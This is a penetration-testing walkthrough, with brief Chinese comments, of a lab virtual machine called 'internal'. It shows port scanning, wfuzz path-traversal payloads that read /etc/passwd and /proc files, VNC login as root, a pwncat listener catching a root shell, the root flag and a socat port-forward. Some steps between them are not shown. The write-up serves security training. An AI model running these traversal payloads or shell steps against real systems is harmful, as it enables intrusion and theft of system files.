❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.221 08:00:27:8a:8c:19 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e1:d8:58 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.038 seconds (125.61 hosts/sec). 4 responded ❯ export ip=192.168.60.221 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Where scanning meets swagging. 😎 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.221:22 Open 192.168.60.221:80 Open 192.168.60.221:9999 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 08:51 CST Initiating ARP Ping Scan at 08:51 Scanning 192.168.60.221 [1 port] Completed ARP Ping Scan at 08:51, 0.08s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 08:51 Completed Parallel DNS resolution of 1 host. at 08:51, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 08:51 Scanning 192.168.60.221 [3 ports] Discovered open port 80/tcp on 192.168.60.221 Discovered open port 9999/tcp on 192.168.60.221 Discovered open port 22/tcp on 192.168.60.221 Completed SYN Stealth Scan at 08:51, 0.04s elapsed (3 total ports) Nmap scan report for 192.168.60.221 Host is up, received arp-response (0.00039s latency). Scanned at 2025-03-03 08:51:13 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 9999/tcp open abyss syn-ack ttl 64 MAC Address: 08:00:27:8A:8C:19 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ wfuzz -c -u "http://192.168.60.221/internal-item.php?item=FUZZ" -w ../thl/file_inclusion_linux.txt --hw 2 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.221/internal-item.php?item=FUZZ Total requests: 2299 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000031: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....// ....//....//etc/passwd" 000000041: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//etc/passwd" 000000042: 200 28 L 40 W 1404 Ch "....//....//....//....//....//etc/passwd" 000000035: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd" 000000028: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....// ....//....//....//....//....//etc/passwd" 000000029: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....// ....//....//....//....//etc/passwd" 000000032: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....// ....//etc/passwd" 000000030: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....// ....//....//....//etc/passwd" 000000037: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//etc/passwd" 000000043: 200 28 L 40 W 1404 Ch "....//....//....//....//etc/passwd" 000000036: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//etc/passwd" 000000038: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//etc/passwd" 000000040: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//etc/passwd" 000000044: 200 28 L 40 W 1404 Ch "....//....//....//etc/passwd" 000000039: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//etc/passwd" 000000034: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//etc/pa sswd" 000000027: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....// ....//....//....//....//....//....//etc/passwd" 000000025: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....// ....//....//....//....//....//....//....//....//etc/passwd" 000000033: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....// etc/passwd" 000000026: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....// ....//....//....//....//....//....//....//etc/passwd" Total time: 1.729885 Processed Requests: 2299 Filtered Requests: 2279 Requests/sec.: 1328.989
curl下来看一下有什么用户
得到admin用户
1 2 3 4 5 6 7
❯ curl "http://192.168.60.221/internal-item.php?item=....//....//....//....//etc/passwd" |grep /bin/bash % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1404 100 1404 0 0 599k 0 --:--:-- --:--:-- --:--:-- 685k root:x:0:0:root:/root:/bin/bash admin:x:1000:1000:admin,,,:/home/admin:/bin/bash
此外在9999端口上，需要进行authorization Basic认证登录
模糊测试
尝试利用此用户名爆破，无果
但是我们可以通过LFI来读取/proc下的文件
在 Linux 系统中，/proc 文件夹（也称为“proc 文件系统”）是一个虚拟文件系统，提供了有关系统和运行中的进程的信息。这个文件夹是由内核动态生成的，包含一系列文件和子目录，用于显示系统内核、硬件设备和进程的实时信息。以下是一些重要的内容：
❯ wfuzz -c -z range,1-1000 -u "http://192.168.60.221/internal-item.php?item=....//....//....//....//proc/FUZZ/cmdline" --ss 'admin' /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.221/internal-item.php?item=....//....//....//....//proc/FUZZ/cmdline Total requests: 1000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000346: 200 2 L 2 W 100 Ch "346" Total time: 0 Processed Requests: 1000 Filtered Requests: 999 Requests/sec.: 0
❯ vncviewer -passwd passwd 127.0.0.1:5901 Connected to RFB server, using protocol version 3.8 Performing standard VNC authentication Authentication successful Desktop name "internal:1 (root)" VNC server default format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using default colormap which is TrueColor. Pixel format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Same machine: preferring raw encoding
弹个shell过来
1 2 3 4 5 6 7 8 9 10 11
❯ pwncat-cs -lp 4444 [10:54:36] Welcome to pwncat 🐈! __main__.py:164 [10:55:08] received connection from 192.168.60.221:38044 bind.py:84 [10:55:08] 0.0.0.0:4444: normalizing shell path manager.py:957 [10:55:09] 192.168.60.221:38044: registered new host w/ db manager.py:957 (local) pwncat$ (remote) root@internal:/root# id uid=0(root) gid=0(root) grupos=0(root) (remote) root@internal:/root# cat /root/root.txt 94f50378a53c0c1eb0899494e352766b
事实证明socat没问题，我端口打错了而已，也能连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
admin@internal:/tmp$ ./socat TCP-LISTEN:5902,fork TCP4:127.0.0.1:5901& [1] 13728 ---------------------------------------- ❯ vncviewer -passwd passwd $ip:5902 Connected to RFB server, using protocol version 3.8 Performing standard VNC authentication Authentication successful Desktop name "internal:1 (root)" VNC server default format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using default colormap which is TrueColor. Pixel format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
